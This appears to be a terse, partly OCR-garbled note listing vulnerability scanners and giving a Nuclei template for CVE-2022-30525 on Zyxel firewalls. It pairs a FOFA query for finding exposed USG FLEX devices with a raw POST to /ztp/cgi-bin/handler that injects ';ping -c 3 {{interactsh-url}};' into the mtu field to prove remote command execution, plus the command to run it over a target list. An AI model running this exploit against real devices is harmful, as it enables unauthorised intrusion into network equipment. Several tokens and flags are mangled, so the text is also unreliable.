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Goby: https://github.com/gobysec/Goby/releases

Nuclei: https://github.com/projectdiscovery/nuclei

Nessus: https://mp.weixin.gq.com/s/G-7Yu8sefH3Bo3GRtU02EA
Nexpose: https://www.fujieace.com/hacker/rapid7-nexpose.html

FofaMAP: https://github.com/asaotomo/FofaMap
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#F: CVE-2022-30525: zZyxel B KEEmAEdr49E NIRTRA
FofaViewer: title=="USG FLEX 50 (USG20-VPN)"
nuclei.exe -t Zyxel.yaml -1 z.txt

Zyxel.yaml:
id: CVE-2022-30525

info:
name: cx
author: remote
severity: high
tags: CVE-2022-30525
reference: CVE-2022-30525

requests:
- raw:
=
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}

Content-Type: application/json; charset=utf-8

{"command": "setWanPortSt","proto": "dhcp", "port":
"1270","vlan tagged": "1270","vlanid": "1270", "mtu":
"{ {eXplOlt} }", "data" : " "}
payloads:
exploit:

- ";ping -c 3 {{interactsh-url}};"
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https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

